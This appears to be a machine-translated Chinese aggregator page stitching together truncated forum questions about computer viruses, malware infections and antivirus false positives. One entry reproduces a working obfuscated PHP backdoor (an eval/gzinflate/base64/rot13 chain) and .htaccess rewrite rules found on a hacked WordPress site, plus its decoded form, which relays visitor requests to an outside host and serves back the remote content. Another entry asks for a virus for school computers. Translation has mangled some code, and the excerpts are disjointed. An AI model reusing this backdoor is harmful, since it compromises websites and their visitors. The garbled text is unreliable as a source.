计算机病毒是一种计算机程序,可以自我复制并从一台计算机传播到另一台计算机。术语“病毒”也通常但错误地用于指代其他类型的恶意软件,包括但不限于不具有生殖能力的广告软件和间谍软件程序。
我想为我的基于 WordPress 的网站运行谷歌广告。这个网站很老了,我对 WordPress 的经验很少。 问题 我收到来自谷歌的电子邮件,说明我的网站...
我想看看如何通过 PHP 检查上传的文件是否有病毒。存在哪些选项,每个选项的优缺点等等。
范围: 最近,我的妻子下载了一个受感染的文件,该文件允许黑客访问连接到她的笔记本电脑(包括我的笔记本电脑)的所有帐户,例如 Steam、Riot、Microsoft 和 Gmail,其中...
VB.net 发布的应用程序被 Windows Defender 检测为病毒并已删除
我最近发布了一个 VB.net 应用程序,它在我的计算机上运行良好,但是当我想将其安装在任何其他计算机上时,Windows Defender 应用程序将我的应用程序检测为病毒并删除其文件...
后门:在上传的图像文件中检测到PHP/Webshell.O病毒。我应该担心吗?我该如何预防?
我有一个允许用户上传图像的网站。防病毒软件最近检测到一个上传的文件(未扫描上传的文件,这是之后进行的系统范围扫描) 上传后,我检查...
我最近偶然发现了一个 github,它在他们的程序中秘密地容纳了一个加密矿工。 我已经找到了它的所有部分,下面的代码是矿工。 导入操作系统 os.system('pip 安装
“我们生病了,搞砸了,很复杂,我们很混乱,我们无法治愈”[关闭]
Idle 给了我一个奇怪的输出:“我们病了,搞砸了,很复杂 我们很混乱,无法治愈”有人知道这是否是病毒吗?老实说,我从未见过这样的输出,并且......
如何创建我自己的.exe 或.lib 文件病毒签名?我开始将某些字节读取到文件中,然后将它们存储在另一个文件中并手动将其添加到病毒扫描程序中......
为什么我的代码编辑器要求我输入 kdewallet 的密码?
我在新的 linux 安装和 apon 打开时安装了最新版本的 vscode,我收到一个弹出窗口,询问我的 kde 钱包的密码 我没有输入密码,因为我...
Ionic 应用程序在 Android 设备中显示出恶意。风险名称:Android:Evo-gen[Trj]+AG1335518|egap
我们的应用程序处于测试版版本。从 Play 商店下载后,在某些 Android 设备中,速度会变慢,该应用程序是恶意的。请参考图片。在某些设备中它显示警告...
我收到一封电子邮件,其中包含 Visual Basic (.vbs) 脚本。在安全环境下打开,发现了这个。它有什么作用? 昏暗的字符串名称,字符串长度 strname = "这个函数是为了...
我在 pygame 中制作了一个名为 Balls to the Walls 的游戏,在 pyinstaller 中构建程序时遇到错误。我跑: C:\Users\Ben pyinstaller --windowed --icon=logo.ico BallsWalls.py 欧...
我需要为学校计算机制作一个病毒。每个有他们的网站都被屏蔽了。任何都可以。谢谢。 所有恶意软件均被阻止。为我做一些新的东西(最好使用 java 或 python)。我需要...
因此,在查看朋友发给我的一些服务器文件(FiveM/GTA RP 服务器文件)时,我发现一行代码遍布服务器的资源,是恶意的吗?因为我检查了“...
我有一些客户网站感染了促销广告恶意软件,这些恶意软件会向访问者显示不需要的广告,例如在这个网站 https://tk63.tennis/ 上有这个广告促销
我想知道是否有人能弄清楚这个 php 中的代码是做什么的 我现在已经删除了它,但我很好奇它是如何到达那里以及它有什么作用 我在我的 WordPress 网站之一中找到了这个 我想知道是否有人能弄清楚这个 php 中的代码是做什么的 我现在已经删除了它,但我很好奇它是如何到达那里以及它有什么作用 我在我的 WordPress 网站之一中发现了这个 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(emyiac-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/emyiacimwqkfv-.php?p=$2 [L] </IfModule> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(auyaix-|showthrd-)(.*)$ /var/www/html/dglcreative/wp-content/auyaixfblclcc-.php?p=$2 [L] </IfModule> 其中一个文件包含以下内容: <?php $TWRgwh3="6jsmOpAjZ5Bi5Ll2wfssHqB3cBfkZgGlMnzBalluE/Hi5mPZ9XQ6wo21mQNXZanQAAvE8X/GnjBNvD0dEbPCDPD1hoOiSjwuWReEae1cV3DnIhxxXbDWak5n7uteSIOeKlQ7HHX+fRlp/ESRTLFEgPHdF2y698RzSYrsp0rU8Aas3bH+gb6j+1D03qNaS/PUqReuTrZtETiQCi4LUHo4gRxzKp/6TXUk+aN3FzWOBI6Ini3YXbgcKPoop3wVviiKz9C3JuSg/eFgGqslnyo+eCmEk1Vl+NiIBBO8z9N+DA/VrM4z0DeobnbIbPlTrxqUPmOX1/SsphPhOgTvqi2mdbJQqEinevjitWI+BNPngJpO21mfOzu982FXRD/7vdcp1pnBoipzKLf7XEXOx0i3tcFVVB8/+5k5o4f8eYDPQawmvLN7fNr3SS126GLAkPVi9e6ovA6DRe78E5xzixe9iguUgvAyg1kk9vGHcICXoJ9tI8QaiP67W4j/L1scsNGGwZxRc41fLW0I1xFNZSlgOIpaMeIq2vrRvG6fXE8uUpSooTesUAmkzKfcJY8ixOAEI5JSS4QPfjgDqsvY5wVXx80CQvUBj1TFzCFhHeOTCKOVOh7QYwkyosnH7OW4ql0yXEiAr2KizXx8A909Pd/kJb3RnMk9qsOf5NU0Si4DDIjB1D5IvU/0LmKioSMQo8ZDMrgHUJKxXqSjRgG4DN+sk1zucAxNJ2yQkXCb+4wWLJelYkLyDun19PmA7gtUxTZWvF/DUje1a4FNqnI31zYLIc4d34AvTwQfRuaBZyDKbCrWmAbJ5N6qTYpwofIyWM3odv+IFbmmb58UaDU44CJQJzrE9Sg4ScIllAUlD8rODiGSbLdf/zf4nM91LH6x0AKJZ1xp+Ekm5p1ZHMjeNfzPwMm+oorgi1Pwpm2XIdYV2WgN+2K+FFYCvUA5IRgqspaerwIC/qrrJkP6RAGo3wzuxWZY3CB9qin/iw2CqrVDSDuPHW69sI16EVY5zzyDL7Mf4WNKcPlUyaj2f6i9WaQShXxvjyQL9LJ9b99k58jXIVDqDhID16dlZq6loIKq10/3nXSN7OIQLtWY0liMcLR0HZ6vGdKELM9VJGxLoedP9o0Y4Z+Q2kjqos8Qm8Di3X4LhO2SmOAuFZ6ENqGSQ4JJRe8SGn/8JTNDQ7MfaD+DlwiuCOSQYg==";$kYIKQj="\141";$syMk1BFi="\x62\x61\x73";$ZTMvjgX="\163\164";$yW51kL="Fl1YmASDIjxWQ0bimmP2IFzh9Z02qUYY1VNWnIdeBTMHhb";$cBqLFy="\x67\x7a\151";$cBqLFy.="\156\x66";$kYIKQj.="\163";$yW51kL.="GnXvyMd1FTzkcz+9tdyrqTyacaX1za5EqcdXEJOefUMKao";$syMk1BFi.="\x65\66\x34";$ZTMvjgX.="\162\137\x72";$ZTMvjgX.="\157\x74";$cBqLFy.="\x6c\x61";$syMk1BFi.="\x5f\x64\x65\143";$yW51kL.="TywQzQnJObMjwen2WfDRCqixwPXA/XVHhAaEZQJkzaStpL";$kYIKQj.="\163\145";$cBqLFy.="\x74\x65";$syMk1BFi.="\x6f\x64\145";$yW51kL.="w5pTSIf1uAGJhUIWNoIMXqPa3pXwHtMtTS1GJgND==";$kYIKQj.="\162\x74";$ZTMvjgX.="\x31\x33";@$kYIKQj($cBqLFy($syMk1BFi($ZTMvjgX($yW51kL))));?> 因为问题是“这段代码是什么意思?”该代码归结为以下内容。 如果我是您,我会开始查找访问日志文件以查找 url 中包含 ?p= 的条目。 <?php header('Content-Type: text/html; charset=UTF-8'); $p = 'p'; $host='websys-nt.com'; $path='/wb0454545/'; $srvr=$_SERVER['HTTP_HOST'].'/'; function GetRealIp() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP'];} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];} else { $ip=$_SERVER['REMOTE_ADDR'];} return $ip; } if(isset($_GET[$p])) { $r = GetRealIp(); if (strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")!==FALSE) $r = substr($_SERVER["HTTP_USER_AGENT"], strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")+4); $param=$_GET[$p]; if (strpos($param, '.js') !== false) { $ext='.js'; $param = str_replace('.js','',$param); $srvr=''; } else if(strpos($param, 'prokl-') !== false) { $ext='.php?tds-q='.urlencode(substr($param, strpos($param, "prokl-")+6)); $param='prokl'; $srvr=''; } else if(strpos($param, '.css') !== false) { $ext='.css'; $param = str_replace('.css','',$param); $srvr=''; } else if(strpos($param, '.gif') !== false) { $ext='.gif'; $param = str_replace('.gif','',$param); $srvr=''; } else if(strpos($param, '.htm') !== false) { $ext='.htm'; $param = str_replace('.htm','',$param); $srvr=''; } else if(strpos($param, '.jpg') !== false) { $ext='.jpg'; $param = str_replace('.jpg','',$param); $srvr=''; } else if(strpos($param, '.ico') !== false) { $ext='.ico'; $param = str_replace('.ico','',$param); $srvr=''; } else if(strpos($param, '.png') !== false) { $ext='.png'; $param = str_replace('.png','',$param); $srvr=''; } else{ $rf=$_SERVER['HTTP_REFERER']; $ext='.php?ip='.$r.'&ref='.$ref; } $out =''; $buff = ''; if ($curl = curl_init()) { curl_setopt($curl, CURLOPT_URL, 'http://'.$host.$path.$srvr.$param.$ext); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); $out = curl_exec($curl); curl_close($curl); }else{ $fp = fsockopen($host, 80, $errno, $errstr, 30); if ($fp) { $out = "GET ".$path.$srvr.$param.$ext." HTTP/1.1\r\n"; $out .= "Host: ".$host."\r\n"; $out .= "User-Agent: ".$_SERVER['HTTP_USER_AGENT']."\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); while (!feof($fp)) { $buff.=fgets($fp, 128); } $result = explode("\r\n\r\n", $buff, 2); $out= $result[1]; fclose($fp); } } echo $out; exit ; } ?> 我不知道为什么有些人对正确的问题投反对票。浏览了整个互联网,刚刚找到了您的帖子。在我的一个受感染站点上也发生了同样的事情。我一直在调查为什么我的服务器偶尔会过载,并指出了您刚才问的问题。看起来脚本创建了许多请求并使站点饱和。 66.249.73.1 - - [17/Dec/2023:04:51:37 -0500] "GET /shadow.php?r/I3196884.html HTTP/1.1" 404 1711 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.73.1 - - [17/Dec/2023:04:52:25 -0500] "GET /shadow.php?d/T1084079.html HTTP/1.1" 404 1711 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 我相信是病毒攻击,htaccess文件被更改为这样 <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / DirectoryIndex index.php RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> 它看起来像一个谷歌机器人,但我相信这是一个机器人爬行病毒篡夺了谷歌机器人。在这里查看 https://support.google.com/webmasters/thread/160538224/google-bot-crawling-links-recieved-from-malicious-sources?hl=en 我仍在努力,使用备份来扭转损坏并逐一检查更改的文件,这很容易,因为所有更改的文件都来自同一日期,然后替换为以前存储的版本。 (仍在修复它,稍后更新以查看更好的修复)将站点置于保留状态且不可变(任何人都无法在公共文件上使用此命令来更改) chattr -R +i public_html 一旦弄清楚就逆转 chattr -R -i public_html
所以我的一个朋友需要一些我在卷轴时间编码的视频,所以我创建了一个脚本来询问你的名字以及你是否喜欢糖果。这是“危险”的脚本 #包括 所以我的一个朋友需要一些我在卷轴时间内编码的视频,所以我创建了一个脚本来询问你的名字以及你是否喜欢糖果。这是“危险”的脚本 #include <iostream> int main() { //UIVAR std::string userName; std::string userLikeCandy; //START std::cout << "Hello World!\n"; std::cout << "What is your name?\n"; std::cin >> userName; std::cout << "Nice to meet you " << userName << "\nDo you like candy? y/n\n"; std::cin >> userLikeCandy; if (userLikeCandy == "y") { std::cout << "Hi " << userName << " I see you do like candy\n"; } else if (userLikeCandy == "n") { std::cout << "Hi " << userName << " I see you don't like candy\n"; } else { std::cout << "Err, did you use y/n?"; } } 所以当他去下载它(通过谷歌驱动器文件夹发送)时,它被标记为病毒,所以我们总共运行了一个病毒,它有 6 个标记。其中一个是木马😂 https://www.virustotal.com/gui/file/430829b8f4b4c33372f1632080fdd90fcd31c6cfc296872ae9ff0d97fd86a3ba/检测 有人知道为什么吗? 您的文件扩展名是什么?尝试将文件扩展名更改为“txt”或其他名称。
我有一个构建变体,我们仅在内部使用它进行测试,并通过谷歌驱动器或电子邮件与团队内部共享。然而,从过去一个月开始,谷歌正在标记...
我正在开发一个应用程序,它充当 Http 代理,用于从外部资源提供文件。它实际上从外部资源下载文件,检查病毒以及文件是否...
Clamav 从 C-ICAP 代理接收修改后的文件进行扫描
我已将 EICAR 测试文件植入到应用程序中,该文件位于 C-ICAP SquidClamav 代理后面。代理将特定流量重定向到 ClamAV 进行病毒扫描。问题是该文件...